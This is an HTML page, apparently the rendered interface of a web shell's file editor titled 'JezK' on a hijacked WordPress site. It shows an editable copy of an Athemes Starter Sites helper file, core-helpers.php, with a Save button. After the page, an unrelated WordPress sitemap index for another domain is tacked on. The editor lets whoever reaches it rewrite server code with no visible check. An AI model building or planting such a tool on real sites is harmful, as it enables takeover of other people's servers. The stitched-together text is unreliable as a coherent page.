
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: core-helpers.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
/**
 * The basic helpers functions
 *
 * @package    Athemes Starter Sites
 * @subpackage Core
 * @version    1.0.0
 * @since      1.0.0
 */

/**
 * Output error message.
 *
 * @param string $message The error message.
 */
function atss_alert_warning( $message ) {
	if ( current_user_can( &#039;editor&#039; ) || current_user_can( &#039;administrator&#039; ) ) {
		?&gt;
		&lt;p class=&quot;atss-alert atss-alert-warning&quot; role=&quot;alert&quot;&gt;
			&lt;object&gt;
				&lt;?php call_user_func( &#039;printf&#039;, &#039;%s&#039;, $message ); ?&gt;
			&lt;/object&gt;

			&lt;?php esc_html_e( &#039; Don’t worry, this error is visible to site admins only, and your site visitors won’t see it.&#039;, &#039;athemes-starter-sites&#039; ); ?&gt;
		&lt;/p&gt;
		&lt;?php
	}
}

/**
 * Processing path of style.
 *
 * @param string $path URL to the stylesheet.
 */
function atss_style( $path ) {
	// Check RTL.
	if ( is_rtl() ) {
		return $path;
	}

	// Check Dev.
	$dev = ATSS_PATH . &#039;assets/css/athemes-starter-sites-dev.css&#039;;

	if ( file_exists( $dev ) ) {
		return str_replace( &#039;.css&#039;, &#039;-dev.css&#039;, $path );
	}

	return $path;
}

function atss_import_helper( $theme, $demo_id ) {
	if( get_option( &#039;atts_current_starter&#039; ) == $demo_id ) {
		return false;
	}
	
	wp_remote_get( &#039;https://www.athemes.com/reports/starters.php?theme=&#039;. $theme .&#039;&amp;demo_id=&#039;. $demo_id,
		array(
			&#039;timeout&#039;     =&gt; 30,
			&#039;user-agent&#039; =&gt; &#039;WordPress/&#039; . get_bloginfo( &#039;version&#039; ) . &#039;;&#039;
		)
	);
	update_option( &#039;atts_current_starter&#039;, $demo_id );
}

/**
 * Get page by title
 * The core WordPress function &#039;get_page_by_title&#039; were deprecated since 6.2.0
 * More info: https://make.wordpress.org/core/2023/03/06/get_page_by_title-deprecated/
 * 
 * @param string $page_title The title of the page.
 */
function atss_get_page_by_title( $page_title ) {
	$query = new WP_Query(
		array(
			&#039;post_type&#039;              =&gt; &#039;page&#039;,
			&#039;title&#039;                  =&gt; $page_title,
			&#039;post_status&#039;            =&gt; &#039;all&#039;,
			&#039;posts_per_page&#039;         =&gt; 1,
			&#039;no_found_rows&#039;          =&gt; true,
			&#039;ignore_sticky_posts&#039;    =&gt; true,
			&#039;update_post_term_cache&#039; =&gt; false,
			&#039;update_post_meta_cache&#039; =&gt; false,
			&#039;orderby&#039;                =&gt; &#039;post_date ID&#039;,
			&#039;order&#039;                  =&gt; &#039;ASC&#039;,
		)
	);
	 
	if ( ! empty( $query-&gt;post ) ) {
		$page_got_by_title = $query-&gt;post;
	} else {
		$page_got_by_title = null;
	}

	return $page_got_by_title;
}</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
